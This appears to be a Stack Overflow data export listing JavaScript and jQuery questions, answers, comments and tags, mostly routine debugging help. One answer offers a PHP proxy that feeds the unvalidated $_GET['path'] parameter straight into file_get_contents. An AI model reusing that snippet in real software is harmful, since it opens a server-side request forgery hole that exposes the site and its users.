tags question: http://stackoverflow.com/q/25823965
tags question: http://stackoverflow.com/q/25861452
tags question: http://stackoverflow.com/q/25803878
tags question: http://stackoverflow.com/q/25823238
tags question: http://stackoverflow.com/q/25795742
tags question: http://stackoverflow.com/q/25758462
tags question: http://stackoverflow.com/q/25771898
tags question: http://stackoverflow.com/q/25750934
tags question: http://stackoverflow.com/q/25793136
tags question: http://stackoverflow.com/q/25720086
tags question: http://stackoverflow.com/q/25819042
tags question: http://stackoverflow.com/q/25786553
tags question: http://stackoverflow.com/q/25864706
tags question: http://stackoverflow.com/q/25748848
tags question: http://stackoverflow.com/q/25823067
tags question: http://stackoverflow.com/q/25821479
tags question: http://stackoverflow.com/q/25729734
tags question: http://stackoverflow.com/q/25837604
tags question: http://stackoverflow.com/q/25748245
tags question: http://stackoverflow.com/q/25840311
tags question: http://stackoverflow.com/q/25854589
tags question: http://stackoverflow.com/q/25766512
tags question: http://stackoverflow.com/q/25749778
tags question: http://stackoverflow.com/q/25821969
tags question: http://stackoverflow.com/q/25822826
tags question: http://stackoverflow.com/q/25804444
tags question: http://stackoverflow.com/q/25867344
tags question: http://stackoverflow.com/q/25867996
tags question: http://stackoverflow.com/q/25738832
tags question: http://stackoverflow.com/q/25735936
tags question: http://stackoverflow.com/q/25840659
tags question: http://stackoverflow.com/q/25859472
tags question: http://stackoverflow.com/q/25770116
tags question: http://stackoverflow.com/q/25759732
tags question: http://stackoverflow.com/q/25833062
tags question: http://stackoverflow.com/q/25796203
tags question: http://stackoverflow.com/q/25827082
tags question: http://stackoverflow.com/q/25817252
tags question: http://stackoverflow.com/q/25858901
tags question: http://stackoverflow.com/q/25717457
tags question: http://stackoverflow.com/q/25847811
tags question: http://stackoverflow.com/q/25801624
tags question: http://stackoverflow.com/q/25848435
tags question: http://stackoverflow.com/q/25786016
tags question: http://stackoverflow.com/q/25750296
tags question: http://stackoverflow.com/q/25755540
tags question: http://stackoverflow.com/q/25816270
tags question: http://stackoverflow.com/q/25851267
tags question: http://stackoverflow.com/q/25819400
tags question: http://stackoverflow.com/q/25869099
tags question: http://stackoverflow.com/q/25768895
tags question: http://stackoverflow.com/q/25775707
tags question: http://stackoverflow.com/q/25726426
tags question: http://stackoverflow.com/q/25764134
tags question: http://stackoverflow.com/q/25809958
tags question: http://stackoverflow.com/q/25830045
tags question: http://stackoverflow.com/q/25842135
tags question: http://stackoverflow.com/q/25760782
tags question: http://stackoverflow.com/q/25760680
tags question: http://stackoverflow.com/q/25867407
tags question: http://stackoverflow.com/q/25771024
tags question: http://stackoverflow.com/q/25849291
tags question: http://stackoverflow.com/q/25736896
tags question: http://stackoverflow.com/q/25756149
tags question: http://stackoverflow.com/q/25798149
tags question: http://stackoverflow.com/q/25861625
tags question: http://stackoverflow.com/q/25740400
tags question: http://stackoverflow.com/q/25873309
tags question: http://stackoverflow.com/q/25714458
tags question: http://stackoverflow.com/q/25868092
tags question: http://stackoverflow.com/q/25796150
tags question: http://stackoverflow.com/q/25854578
tags question: http://stackoverflow.com/q/25816802
tags question: http://stackoverflow.com/q/25782500
tags question: http://stackoverflow.com/q/25787927

http://stackoverflow.com/comment/40271425
has text: Haha true :). Chocho is better
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25753031
type: Comment

http://stackoverflow.com/comment/40255645
type: Comment
type: QuestionComment
has text: Surely self-closing ` ` tags *do* work in an XHTML document.
comment on: http://stackoverflow.com/q/25745604
score: 0

http://stackoverflow.com/comment/40258726
has text: @user2646829 you beat me to it.
score: 0
comment on: http://stackoverflow.com/q/25747162
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25845185
answer count: 3
has comment: http://stackoverflow.com/comment/40438287
has answer: http://stackoverflow.com/a/25845325
type: UnansweredQuestion
has body: 01 02 03 1 8 2 function reverseChild($parent, index) { var childItem = $parent.children('div:eq(' + index + ')'); childItem.prev().before(childItem); }; $(document).ready(function () { reverseChild($('#bar h1'), 1); }); JSFiddle my query is that i need this output 01 02 03 1 2 8 but it showing 01 02 03 1 8 2
has comment: http://stackoverflow.com/comment/40438427
has comment: http://stackoverflow.com/comment/40437968
has answer: http://stackoverflow.com/a/25845860
has comment: http://stackoverflow.com/comment/40438119
has answer: http://stackoverflow.com/a/25846025
has comment: http://stackoverflow.com/comment/40439559
type: Question
has comment: http://stackoverflow.com/comment/40439770
tagged with: javascript
tagged with: jquery
has title: Flip div element
score: 0

http://stackoverflow.com/q/25850742
type: Question
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25962530
score: 0
has title: .extend equivalent in coffeescript
possible better answer: http://stackoverflow.com/a/25850841
has body: Is there another way to express this code in Coffeescript, i dont really like the current result. Javascript: videojs.ChromecastTech = videojs.MediaTechController.extend({ init: function() { console.log("TEST"); } }); Coffeescript: videojs.ChromecastTech = videojs.MediaTechController.extend init: -&gt; console.log "TEST"
has answer: http://stackoverflow.com/a/25850841
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40447626
has answer: http://stackoverflow.com/a/25962530
tagged with: syntax
tagged with: coffeescript

http://stackoverflow.com/a/68065776
answers question: http://stackoverflow.com/q/25763837
score: 11
upvote count: 11
downvote count: 0
has body: There is an new Error Cause proposal for ECMAScript, and it reached stage-4 at TC34! It means it will be in the next ECMAScript version! https://github.com/tc39/proposal-error-cause You would provide the cause as an error option: throw new Error(`Couldn't parse file at path ${filePath}`, { cause: err }); The ES proposal only formalize it on the language level, but browsers/NodeJS should normally agree to log the full causal chain in practice (see https://github.com/nodejs/node/issues/38725) As of today (end of 2021), Firefox Devtools are already able to log nested stacktraces!
type: Answer

http://stackoverflow.com/a/25829053
type: Answer
downvote count: 0
score: 1
has body: service: .service('config', function ($http, $q) { var config = { get_host: function () { if (online == 0) { return offlineHost; } return onlineHost; }, online: 'false', host: 'false', checkConnection: function () { var deferred = $q.defer(); $http.get(this.host + http_url ).then(function(response) { $q.resolve(response.data.ping); }); return $q.promise; }, _load: function () { this.host = this.get_host(); this.online = this.checkConnection(); this.url_api = this.host + http_url; if (this.online == 1) { this.offline_message = 'Maaf aplikasi tidak bisa terkoneksi dengan server atau anda offline'; } } }; //run constructor and get value; config._load(); return config; }) //end config class controller: config.online.then(function(data){ alert(data); var online = data; handleDate(online); // this is a predefined function to handle your data when it's downloaded });
has comment: http://stackoverflow.com/comment/40414050
has comment: http://stackoverflow.com/comment/40412761
answers question: http://stackoverflow.com/q/25828339
upvote count: 1

special-characters
tags question: http://stackoverflow.com/q/25813869
tag name: special-characters
type: Tag

http://stackoverflow.com/a/25767760
has comment: http://stackoverflow.com/comment/40300270
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25766814
has body: Here's my answer to my own question. I am wrapping all my methods in functions, and passing through a callback into my methods. It seems to do the job. Does anyone have any comments? function Tester2() { this.save = function() { var self = this; var callbackC = function() { self.methodC(); } var callbackB = function() { self.methodB(callbackC); } this.methodA(callbackB); } this.methodA = function (callbackFn) { var self = this; $.ajax({ url: self.url, async: true }).always(function (processedDataOrXHRWrapper, textStatus, xhrWrapperOrErrorThrown) { //check for errors... and if OK alert('A OK'); if (callbackFn) callbackFn(); }) } this.methodB = function (callbackFn) { var self = this; $.ajax({ url: self.url, async: true }).always(function (processedDataOrXHRWrapper, textStatus, xhrWrapperOrErrorThrown) { //check for errors... and if OK alert('B OK'); if (callbackFn) callbackFn(); }) } this.methodC = function () { var self = this; $.ajax({ url: self.url, async: true }).always(function (processedDataOrXHRWrapper, textStatus, xhrWrapperOrErrorThrown) { //OK alert('C OK'); }) } } new Tester2().save();
score: 1
upvote count: 1

http://stackoverflow.com/q/25840542
tagged with: php
has title: Using Ajax $_GET Variables As A Filter
type: Question
answer count: 1
tagged with: javascript
has body: I am using Datatables Editor to populate a grid and want to filter it using different "WHERE" clauses. My code is as follows: jQuery // Valid Customer Accounts $('#lnkValidCustomers').click(function () { // Redraw Grid customersTable.ajax.url('dataGridQuery.php?varCurrentCustomers=y&amp;varInvalidCustomers=n').load(); }); // Invalid Customer Accounts $('#lnkInvalidCustomers').click(function () { // Redraw Grid customersTable.ajax.url('dataGridQuery.php?varCurrentCustomers=n&amp;varInvalidCustomers=y').load(); }); //All Customer Accounts $('#lnkShowAllCustomers').click(function () { // Redraw Grid customersTable.ajax.url('dataGridQuery.php?varCurrentCustomers=y&amp;varInvalidCustomers=y').load(); }); PHP // Database Fields $editor = Editor::inst( $db, 'tblCustomers', 'customerID' ) -&gt;fields( Field::inst( 'customerID' ), Field::inst( 'customerName' ), Field::inst( 'customerNotValidDate' ) ); // Where Clauses if (isset($_GET['varCurrentCustomers']) &amp;&amp; $_GET['varCurrentCustomers']=='y' &amp;&amp; isset($_GET['varInvalidCustomers']) &amp;&amp; $_GET['varInvalidCustomers']=='n') { // All Valid Customers. // Apply Filter $editor -&gt;where('tblCustomers.customerNotValidDate', '', '=' ); } else if (isset($_GET['varCurrentCustomers']) &amp;&amp; $_GET['varCurrentCustomers']=='n' &amp;&amp; isset($_GET['varInvalidCustomers']) &amp;&amp; $_GET['varInvalidCustomers']=='y') { // All Invalid Customers. // Apply Filter $editor -&gt;where( 'tblCustomers.customerNotValidDate', '', '!=' ); } else if (isset($_GET['varCurrentCustomers']) &amp;&amp; $_GET['varCurrentCustomers']=='y' &amp;&amp; isset($_GET['varInvalidCustomers']) &amp;&amp; $_GET['varInvalidCustomers']=='y') { // All Customers. // Apply Filter // No Filter } // Process Json $editor -&gt;process( $_POST ) -&gt;json(); The problem I have is that the $_GET variables repeat and therefore not applying the desired WHERE clause. Below is a console example of the parameter results: Console gridNumber 3 varCurrentCusto…
tagged with: jquery
tagged with: ajax
has answer: http://stackoverflow.com/a/25840895
score: 0
tagged with: datatables
type: UnansweredQuestion

http://stackoverflow.com/a/25797203
upvote count: 10
answers question: http://stackoverflow.com/q/25795934
score: 10
downvote count: 0
has body: With the exception of IE, browsers do not support going fullscreen with JS. This is intentional: https://developer.mozilla.org/en-US/docs/Web/API/window.open#FAQ "All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users." You can manually set the size of the window to the screen size but you may have to deal with things like frame border thickness. Relevant SO question: How to open maximized window with Javascript? Working code for max size window on latest versions of IE, FF or Chrome: window.open('http://www.stackoverflow.com','_blank','height='+screen.height+', width='+screen.width);
type: Answer

http://stackoverflow.com/q/25770152
has body: I am using jquery datetime picker and when user selects a value i need user selection to converted into utc timestamp so i that pass that to php webservice using ajax. Datepicker I am using shows its value in 2014/09/01 11:57 format. Please let me know how i can convert this into utc timestamp in javascript. Before jquery datetime picker I used to have html5 datetime input elements and i was reading there values using jquery and converting them into UTC timestamp and for that i wrote custom functions. Client asked to use jquery datetime picker and now we are back with this UTC thing.
has comment: http://stackoverflow.com/comment/40455050
downvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25770969
score: 1
linked to: http://stackoverflow.com/q/948532
type: Question
has title: jquery datepicker value to UTC timestamp
has comment: http://stackoverflow.com/comment/40300629
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25770969
tagged with: datetime
upvote count: 2

http://stackoverflow.com/a/25718406
has comment: http://stackoverflow.com/comment/40205131
has comment: http://stackoverflow.com/comment/40205064
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40205287
answers question: http://stackoverflow.com/q/25718380
has body: Instead of using $('#uploadPicture').click( function(e) { ... use $('#uploadPicture').on('click', function(e) {...

http://stackoverflow.com/q/25871492
answer count: 1
has comment: http://stackoverflow.com/comment/41154989
favorite count: 0
has comment: http://stackoverflow.com/comment/40486047
has answer: http://stackoverflow.com/a/25931293
type: UnansweredQuestion
has body: I added a mailchimp embedded form that I copy and paste directly from mailchimp but I have the following error on the consolelog GET http://s3.amazonaws.com/downloads.mailchimp.com/js/jquery.min.map 404 (Not Found) Here is the html.erb: (rails) ... Thank you very much for your help.
tagged with: http-status-code-404
score: 2
has title: Mailchimp 404 js file not found
downvote count: 0
has comment: http://stackoverflow.com/comment/41191549
type: Question
linked to: http://stackoverflow.com/q/18365315
tagged with: mailchimp
tagged with: javascript
has comment: http://stackoverflow.com/comment/41108025
upvote count: 2
has comment: http://stackoverflow.com/comment/40485478

http://stackoverflow.com/a/25833061
has comment: http://stackoverflow.com/comment/40423156
upvote count: 1
has comment: http://stackoverflow.com/comment/40415906
has body: The best solution will be to run your socket connection as a angularjs service which then can be easily injected across controllers - that's how you can access the values in sub functions (controllers) And the best way to bound is to use service inside controllers in a two way databinding which will update data automaticly I've made simple working example for you with jsonp instead of sockets but it's easy to change http://plnkr.co/edit/mrzTYOwQWzg1isOJfCUm?p=preview app.service('timeService', function($http, $timeout){ var service = {data: null} function getTime(){ $http.jsonp('http://time.jsontest.com/?callback=JSON_CALLBACK').then(function(response){ service.data = response.data $timeout(getTime, 5000) }) } getTime() return service })
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40419208
answers question: http://stackoverflow.com/q/25832719
type: Answer
accepted answer of: http://stackoverflow.com/q/25832719
score: 1

http://stackoverflow.com/a/25794606
upvote count: 8
type: Answer
has comment: http://stackoverflow.com/comment/40373509
answers question: http://stackoverflow.com/q/25777931
has comment: http://stackoverflow.com/comment/40457346
downvote count: 0
has body: We export a function that allows you to render to static HTML - ReactDOMServer.renderComponentToStaticMarkup (docs). You'll need Node running to call that function. Alternatively, you can also use that function while developing your site and call it to generate a static HTML file that you write to disk. You'd still need node to call the function but you wouldn't need node in production. You could then use that file however you want (eg, could be used with GitHub pages, S3, or really anywhere since it's just HTML).
score: 8

http://stackoverflow.com/a/25753584
type: AcceptedAnswer
has body: There are a few problems with your implementation, but the main issue is that you're treating certain methods--namely .save() and .findOrCreate as synchronous methods, when they are (like all Waterline methods) asynchronous, requiring a callback. So you're effectively running a bunch of code in parallel and not waiting for it to finish before returning. Also, since it seems like what you're trying to do is replace the current event tags with this new list, the method you came up with is a bit over-engineered--you don't need to use event.tags.add and event.tags.remove. You can just use plain old update. So you could probably rewrite the modifyTags method as: modifyTags: function (tags, eventId, mainCb) { // Asynchronously transform the `tags` array into an array of Tag records async.map(tags, function(tag, cb) { // For each tag, find or create a new record. // Since the async.map `cb` argument expects a function with // the standard (error, result) node signature, this will add // the new (or existing) Tag instance to the resulting array. // If an error occurs, async.map will exit early and call the // "done()" function below Tag.findOrCreate({tagName: tag}, {tagName: tag}, cb); }, function done (err, tagRecords) { if (err) {return mainCb(err);} // Update the event with the new tags Event.update({id: eventId}, {tags: tagRecords}).exec(mainCb); }); } See the full docs for async.map here. If you wanted to stick with your implementation using .add and .remove, you would still want to use async.map, and do the rest of your logic in the done method. You don't need two .save calls; just do run all the .add and .remove code first, then do a single .save(mainCb) to finish it off. And I don't know what you're trying to accomplish by deleting the .add and .remove methods from currentTags (which is a direct reference to event.tags), but it won't work and will just cause confusion later!
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25753026
answers question: http://stackoverflow.com/q/25753026
score: 1
has comment: http://stackoverflow.com/comment/40355806

http://stackoverflow.com/q/25734986
downvote count: 0
favorite count: 0
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25735258
has answer: http://stackoverflow.com/a/25735258
has answer: http://stackoverflow.com/a/25735037
tagged with: validationrules
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25735037
type: Question
has body: This code works but I need it to basically do an If Else on the id field. If the id length is >0 then do not check name, zipcode as required. If the id is not > 0 then check name, zipcode, etc as required. Your suggestions are welcomed. Thanks, runAllForms(); $(function () { $("#artist_create_event").validate({ // Rules for form validation rules : { artist_create_event_name : { required : true }, artist_create_event_desc : { required : true }, id : { required : true }, name : { required : true }, zipcode : { required : true }, venue_name : { required : true }, city : { required : true }, state : { required : true }, location : { required : true }, event_address : { required : true } }, // Messages for form validation messages : { artist_create_event_name : { required : 'Enter Event Name' }, artist_create_event_desc : { required : 'Enter Event Description' }, name : { required : 'Enter Venue Name' }, zipcode : { required : 'Please enter Zipcode/Postalcode' }, venue_name : { required : 'Enter Venue Name' }, city : { required : 'Please enter City' }, state : { required : 'Please enter State' }, location : { required : 'Please enter Country' }, event_address : { required : 'Please enter Address' } }, // Do not change code below errorPlacement : function(error, element) { error.insertAfter(element.parent()); }, // Ajax form submition submitHandler: function() { $('#artist_create_event').hide(0); $('#art_event_message').hide(0); $.ajax({ url : 'artist_update_event.php', type : 'POST', dataType : 'json', data: { artist_create_event_name: $('#artist_create_event_name').val(), artist_create_event_desc: $('#artist_create_event_desc').val(), name: $('#name').val(), city: $('#city').val(), state: $('#state').val(), location: $('#location').val(), zipcode: $('#zipcode').val(), event_address : $('#event_address').val(), event_address2 : $('#event_address2').val() }, success : function(data){ $('#art_event_message').removeClass().addClass((data.error === true) ? 'error' : 'success…
score: 5
has title: Jquery Validation Rules with If/ Else statement
upvote count: 5
tagged with: javascript
tagged with: jquery
tagged with: jquery-validate
answer count: 2

http://stackoverflow.com/a/25840332
score: 0
type: Answer
has body: Per the forever documentation here, you can do something like this with the --uid argument to give each one a unique name: forever start --uid "production" index.js forever stop production Other things you could do: Change the name of one of your index.js files. Try using the full path to each index.js file to differentiate the two.
accepted answer of: http://stackoverflow.com/q/25840100
answers question: http://stackoverflow.com/q/25840100
type: AcceptedAnswer

http://stackoverflow.com/comment/40382623
comment on: http://stackoverflow.com/a/25814832
has text: Right. The spec only defines what that function is supposed to do (§13.2.1), not *how* it is to be created. It's likely a native function written in whatever language the engine is implemented in.
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/q/25721109
accepted answer: http://stackoverflow.com/a/25721524
possible better answer: http://stackoverflow.com/a/25721129
has comment: http://stackoverflow.com/comment/40210260
has comment: http://stackoverflow.com/comment/40210023
has body: In these code I can get the selected items, how about the unselected? @{ foreach (var client in Model.ClientLists) { @client.ClientName } } var foo = document.getElementById('clientIdList'); if (foo) { if (foo.selectedIndex < 0) { ShowError('Please select client', 'divNotiMailBoxSetting'); return false; }
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40210356
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25721129
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40210318
favorite count: 0
has title: How to count the unselected items in list
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40210301
has answer: http://stackoverflow.com/a/25721524

http://stackoverflow.com/a/25851361
has comment: http://stackoverflow.com/comment/40451580
type: Answer
has comment: http://stackoverflow.com/comment/40449686
has body: Submit buttons are made to submit content of the form. When you don't need to submit, you should use a normal button. However, if for any reason you still want to use a submit button, you may want to return false at the end of the method, in order to avoid submit button to do its work. $(document).ready(function () { $('#next').click(function(e) { var model = @Html.Raw(Json.Encode(Model)); if (counter &lt;= ques) { $.ajax({ url: "/Questions/Create", type: "POST", data: JSON.serialize(model), cache: false, success: function (data) { } }); //counter++; } else { } return false; }); }); DEMO HERE
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25851046
has comment: http://stackoverflow.com/comment/40448685
has comment: http://stackoverflow.com/comment/40448739

http://stackoverflow.com/a/25842075
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25841803
has comment: http://stackoverflow.com/comment/40433975
type: Answer
score: 1
has body: Try i18n.js for translating views dinamically generaded with JavaScript. Your code will not work because &lt;%=t("warning"), version: os%&gt; is erb syntax. ERB views are paresed only by backend (rails).
has comment: http://stackoverflow.com/comment/40433040
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25841803

http://stackoverflow.com/comment/40403543
score: 0
type: QuestionComment
has text: You need an abstract state that will hold your tabs, with a named view.
type: Comment
comment on: http://stackoverflow.com/q/25826427

http://stackoverflow.com/a/27546228
has body: I could have used the setinterval timer option found in javascript. http://javascript.info/tutorial/settimeout-setinterval
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25724305
answers question: http://stackoverflow.com/q/25724305

http://stackoverflow.com/comment/40293792
comment on: http://stackoverflow.com/a/25765503
has text: @StijnBernards thank you so much, just did it :)
score: 0
type: AnswerComment
type: Comment

recursion
type: Tag
tags question: http://stackoverflow.com/q/25772202
tags question: http://stackoverflow.com/q/25751430
tags question: http://stackoverflow.com/q/25779676
tag name: recursion
tags question: http://stackoverflow.com/q/25742672
tags question: http://stackoverflow.com/q/25751133

http://stackoverflow.com/a/25866071
answers question: http://stackoverflow.com/q/25865968
upvote count: 2
has body: You can use instanceof to check if a variable is an array. Try this: for (var key in obj) { if (obj[key] instanceof Array) { alert(key + ' is an array!'); } } Example fiddle
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/a/25846137
answers question: http://stackoverflow.com/q/25846085
has comment: http://stackoverflow.com/comment/40439718
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40439248
has body: If you are using PHP, you can use kinda proxy: /pxy.php?path=/js/custom.js And in the pxy.php, you can add this: &lt;?php die (file_get_contents("http://example.com" . $_GET["path"])); ?&gt;

http://stackoverflow.com/q/25818976
has comment: http://stackoverflow.com/comment/40390390
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25819016
has comment: http://stackoverflow.com/comment/40394862
tagged with: cookies
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25819016
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40390537
has title: Edit a dot cookie from javascript
has body: This is driving me crazy. I am setting a cookie with a SetCookie header sent from PHP, without a domain. setcookie('test','val',0,null,null,false,false); Then firefox ( and I suppose other browsers ) automatically picks up the domain and makes the cookie available to all sub-domains with the annoying .domain.com. However I want to edit that cookie from JavaScript, how is that possible? If I put document.cookie = 'test=val'; Then I get two cookies with the name of test, one with domain domain.com ( set from javascript ) and the other one .domain.com ( sent from php ). I am being even further more confused by the fact that document.cookie and the Cookie header itself contain no information that could help distinguish the two cookies!
type: Question

http://stackoverflow.com/q/25777166
has comment: http://stackoverflow.com/comment/40314055
has answer: http://stackoverflow.com/a/25777206
has comment: http://stackoverflow.com/comment/40314040
accepted answer: http://stackoverflow.com/a/25777206
type: Question
score: 0
answer count: 2
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25777199
has comment: http://stackoverflow.com/comment/40314064
has body: I'm having a trouble to pass a value to argument of anonymous function which is passed as an argument of setTimeout function. I've been stuck for more than 5 hours already... Please take a look at the code below and give me a help. Thanks in advance!! if (_que.length &gt; 0){ var nextUrl = _shiftNextUrlFromQue(); //here, the value for nextUrl exists.the value is url string. console.log(nextUrl); setTimeout(function(nextUrl) { //here, the value is undefined. _analyzeUrl(nextUrl); }, 10000 ); }
has comment: http://stackoverflow.com/comment/40314019
has title: can't pass an argument of anonymous function that is passed as setTimeout function
has comment: http://stackoverflow.com/comment/40314168
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25777199

http://stackoverflow.com/a/25742336
upvote count: 1
has body: Unfortunately; it's not that straightforward. A starting point would be similar to this answer However you may want to handle things like "enter" key being pressed on element Template.moviesTemplate.events = { 'click input[type=submit]': function(e, tmpl){ tmpl.find('input[type=submit]').data('clicked',false); $(e.currentTarget).data('clicked',true); }, 'submit': function (e, tmpl) { e.preventDefault(); var theId = tmpl.find('input[type=submit]').filter(function(i,ele){ return $(ele).data('clicked'); }).get(0).attr('id'); } }
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25741683
score: 1
has comment: http://stackoverflow.com/comment/40250403

http://stackoverflow.com/comment/40768276
has text: I'm still trying to get Readium working but it is slow going and the priorities of the project do not seem to fit with what I'm aiming for. One show stopper is that it doesn't load my epub files and it's unclear why. I'm thinking of reviving epub.js because that's simple enough to be able to develop out.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25864911
type: AnswerComment

qt
tags question: http://stackoverflow.com/q/25814026
tags question: http://stackoverflow.com/q/25781664
type: Tag
tags question: http://stackoverflow.com/q/25717789
tag name: qt

http://stackoverflow.com/q/25832831
has comment: http://stackoverflow.com/comment/40415088
has title: arithmatic using javascript
tagged with: laravel
has comment: http://stackoverflow.com/comment/40414995
type: AnsweredQuestion
type: Question
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40415010
score: 0
has answer: http://stackoverflow.com/a/25832862
accepted answer: http://stackoverflow.com/a/25832862
has body: i'd like to ask how to do arithmatic using javascript Here i have some input value Total Bayar totalBayar }}"> Telah Membayar jml_bayar }}"> I have this input too Denda denda }}"> And this Jumlah Bayar Pengembalian And using javascript, the answer from arithmatic operation will be shown here Bayar Pengembalian: Sisa: For Bayar Pengembalian, it work just fine. But when im trying to calculate Sisa, the answer wont be shown. Here is my javascript $("#exampleInputDenda").change(function() { var bayar = parseInt("0"); var totalBayar = parseInt($("#inputTotalBayar").val()); var jumlahBayar = parseInt($("#inputJumlahBayar").val()); var denda = parseInt($("#exampleInputDenda").val()); bayar = bayar + denda + totalBayar - jumlahBayar; $("#bayar").html(bayar); }); $("#inputBayarKembali").change(function() { var sisa = parseInt("0"); var bayar = $("#bayar").val(); sisa = sisa + $("#inputBayarKembali").val()-bayar; $("#sisa").html(sisa); }); would you help me with my problem? I'm just in the middle of studying javascript and laravel, so i really need your help... thanks before

http://stackoverflow.com/a/25748981
downvote count: 0
type: Answer
upvote count: 1
has body: The month needs to be zero-based. new Date(2014, 9, 9) // Thu Oct 09 2014 00:00:00 GMT-0600 (MDT) You would expect the month 9 to be September, but it's actually October because January is 0. This is throwing off your comparison.
score: 1
answers question: http://stackoverflow.com/q/25748851
has comment: http://stackoverflow.com/comment/40269569

http://stackoverflow.com/q/25831984
has comment: http://stackoverflow.com/comment/40413506
type: AnsweredQuestion
has body: $('.head').click(function(){ $(".content").toggle(); if($('.content').is(':visible')) { $('.head&gt; img').attr('src', downIcon); } else { $('.head&gt; img').attr('src', rightIcon); } }); I think this is not the best way to switch the accordion icon, because there is a slightly delay. Any thoughts on improving this to a better performances approach?
type: Question
score: 0
has answer: http://stackoverflow.com/a/25832031
answer count: 1
tagged with: javascript
tagged with: jquery
has title: click to toggle for better performances approach
tagged with: css
accepted answer: http://stackoverflow.com/a/25832031

http://stackoverflow.com/comment/40370740
has text: i am not able to do that validation as my portal is not public only clients use them.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25806966
score: 0

http://stackoverflow.com/comment/40442666
comment on: http://stackoverflow.com/a/25847969
type: Comment
score: 0
type: AnswerComment
has text: What do you do in order to get rid of your old textbox? This approach expects you to remove it instead of hiding it. :)

http://stackoverflow.com/comment/40318498
comment on: http://stackoverflow.com/a/25779868
type: AnswerComment
has text: ya in my code it is
score: 0
type: Comment

http://stackoverflow.com/a/25791558
type: Answer
has comment: http://stackoverflow.com/comment/40339302
has comment: http://stackoverflow.com/comment/40339259
has comment: http://stackoverflow.com/comment/40339467
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25791334
has comment: http://stackoverflow.com/comment/40339340
has comment: http://stackoverflow.com/comment/40339592
downvote count: 0
has body: In general C# and other strongly-typed languages are VASTLY different from script / run-time languages like JS. C# is a compiled language and this "strongly-typed" nature is ensured by the compiler. This is true for many type-safe (http://en.wikipedia.org/wiki/Type_safety) languages. Generally speaking a class structure in C# would look like this: public abstract class Animal { //Fields or instance variables are typically hidden from the outside world (consuming code). This is controlled by the 'access-modifier' in this case, private. private string _name; //Constructor is called when you use the 'new' keyword to instantiate an instance of a type that derives from Animal (Animal cannot be instantiated directly because it is abstract). protected Animal() { //Avoids null references unless someone overrides the property setter, for this example, it's safe enough _name = string.Empty; } //This is syntax for declaring a property //properties are publicly accessible pieces of data that control access to a basic // field (variable). // It allows you to apply logic to the field it wraps. // In this example, the field cannot be set to a null or empty string (except by the constructor, which bypasses the property. public virtual string Name { get { return _name; } set { if(!String.IsNullOrWhiteSpace(value)) { _name = value; } } } // end property Name //This is a method that must be overridden by any derived type that is not abstract and may (or may not) be overridden by a derived type that is abstract. public abstract void Examine(); } public class Cat : Animal { public Cat : base() {} public override void Examine() { Console.WriteLine(String.Concat("This is a cat. It's name is ", this.Name, ".")); } } public Class Dog : Animal { public Dog() : base() {} public override void Examine() { Console.WriteLine(String.Concat("This is a dog. It's name is ", this.Name, ".")); } } //In some runnable code elsewhere like a console application: Animal cat = new Cat() {Name = "Mittens"}; A…

http://stackoverflow.com/comment/40195541
comment on: http://stackoverflow.com/q/25713427
has text: you mean fk and value ? `<select name="<?=$field['key']?>" onchange="dynamic_Select(this.getAttribute('name'), this.value)">`
type: Comment
type: QuestionComment
score: 0

odata
tag name: odata
type: Tag
tags question: http://stackoverflow.com/q/25789185

http://stackoverflow.com/comment/40379811
has text: Haha yes just a suggestion, not an answer plus there was no jQuery tag anyway :) The plugin essentially do the same thing as the answer, just link touch events to non-touch events.
comment on: http://stackoverflow.com/q/25813080
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25757110
has answer: http://stackoverflow.com/a/25762977
has comment: http://stackoverflow.com/comment/40360752
tagged with: dom
has comment: http://stackoverflow.com/comment/40277266
upvote count: 2
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: google-chrome-extension
tagged with: facebook
score: 2
downvote count: 0
type: UnansweredQuestion
has body: Problem: I want to change some of the default text of Facebook to my own. I used jQuery's text(), but the problem is Facebook will add more DOM when user scrolls down, so I tried to use MutationObserver to detect whether there is new DOM coming in. I tried this in my chrome content_script: // I need to detect new .UFILikeLink elements var target = document.querySelector('.UFILikeLink'); var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { console.log(mutation.type); alert('test'); }); }); var config = { attributes: true, childList: true, characterData: true }; observer.observe(target, config); but this doesn't work, the alert() is not firing.. I wonder is this the right way of using MutationObserver.
has comment: http://stackoverflow.com/comment/40280328
type: Question
has title: How to set up MutationObserver to detect added DOM?

